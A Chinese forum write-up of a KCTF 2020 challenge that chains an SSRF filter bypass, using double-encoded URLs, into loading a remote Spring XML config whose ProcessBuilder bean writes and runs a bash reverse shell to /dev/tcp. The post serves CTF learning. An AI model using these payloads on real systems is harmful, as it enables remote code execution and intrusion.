首页
社区
课程
招聘
4
[原创]KCTF2020-秋季赛 第一题至暗时刻 WP
发表于: 2020-11-18 00:35 4622

[原创]KCTF2020-秋季赛 第一题至暗时刻 WP

2020-11-18 00:35
4622

通过

发现其存在过滤规则

考虑存在ssrf
拜读了一下作者的浅谈URL
简单测试了一下

图片描述
发现其报接口错误 而httpclient4没有这种报错
推测为httpclient3
使用httpclient3进行绕过
payload:

图片描述
发现成功绕过了这个过滤
再者,尝试注释中的loadconfig接口进行加载
图片描述
payload如下:

插入代码

图片描述
发现了一堆报错 不过没有关系 我们参考一下weblogic中的关于spring framwork的利用
并且在服务器端开了一个Python的服务器然后将xml挂在上面
payload:

同时监听端口 发现了get请求
证明可以出网 也可以进行利用

对payload进行构造

这是写shell文件的payload

这是执行文件的payload

分别执行 服务器设置监听端口 shell反弹回来

按照惯例先ls一下
图片描述

home 下的看看

图片描述

发现了jar文件 通过cat下载

下载下来拖进jd-gui中反编译

图片描述

得到flag:
flag{congratulations-Path-the-spring-boot}

部分源码:
图片描述
图片描述

http://121.36.145.157:8088/getimage?url=http://127.0.0.1
http://121.36.145.157:8088/getimage?url=http://127.0.0.1
^(http|https):\\/\\/[^?#\\/]*\\.pediy\\.com\\/.*
^(http|https):\\/\\/[^?#\\/]*\\.pediy\\.com\\/.*
http://121.36.145.157:8088/getimage?url=http://127.0.0.1:80xx.pediy.com/flag
http://121.36.145.157:8088/getimage?url=http://127.0.0.1:80xx.pediy.com/flag
http://121.36.145.157:8088/getimage?url=http://127.0.0.1%253a8088%253f.pediy.com/flag
http://121.36.145.157:8088/getimage?url=http://127.0.0.1%253a8088%253f.pediy.com/flag
http://121.36.145.157:8088/getimage?url=http://127.0.0.1%253a8088%253f.pediy.com/loadConfig?url=x.xml
http://121.36.145.157:8088/getimage?url=http://127.0.0.1%253a8088%253f.pediy.com/loadConfig?url=x.xml
 
http://121.36.145.157:8088/getimage?url=http://127.0.0.1%253a8088%253f.pediy.com/loadConfig?url=http://xxxx.xxxxx.xxxxx:8080/x.xml
http://121.36.145.157:8088/getimage?url=http://127.0.0.1%253a8088%253f.pediy.com/loadConfig?url=http://xxxx.xxxxx.xxxxx:8080/x.xml
 
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:context="http://www.springframework.org/schema/context"
       xsi:schemaLocation="http://http://www.springframework.org/schema/beans
      http://http://www.springframework.org/schema/beans/spring-beans.xsd
      http://http://www.springframework.org/schema/context
      http://http://www.springframework.org/schema/context/spring-context.xsd">
 
    <!--    <bean id="est" class="fastjsonapplication.r00t4dm.est" init-method="estInit"/>-->
 
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
        <list>
                <value><![CDATA[/bin/bash]]></value>
                <value><![CDATA[-c]]></value>
                <value><![CDATA[echo "bash -i >& /dev/tcp/{服务器IP}/{端口} 0>&1" > /tmp/shell.sh ]]></value>
            </list>
       </constructor-arg>
    </bean>
</beans>
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:context="http://www.springframework.org/schema/context"
       xsi:schemaLocation="http://http://www.springframework.org/schema/beans
      http://http://www.springframework.org/schema/beans/spring-beans.xsd
      http://http://www.springframework.org/schema/context
      http://http://www.springframework.org/schema/context/spring-context.xsd">
 
    <!--    <bean id="est" class="fastjsonapplication.r00t4dm.est" init-method="estInit"/>-->
 
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2020-11-18 12:11 被CrazymanArmy编辑 ,原因:
收藏
免费 4
支持
分享
赞赏记录
参与人
雪币
留言
时间
PLEBFE
为你点赞~
2022-7-30 09:55
林克
为你点赞~
2020-12-8 13:35
qux
为你点赞~
2020-11-20 13:21
supperlitt
为你点赞~
2020-11-19 14:46
最新回复 (2)
雪    币: 1387
活跃值: (5614)
能力值: ( LV3,RANK:25 )
在线值:
发帖
回帖
粉丝
2
666
2020-11-19 14:46
0
雪    币: 5678
活跃值: (10465)
能力值: ( LV9,RANK:181 )
在线值:
发帖
回帖
粉丝
3
666
2020-11-19 14:55
0
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册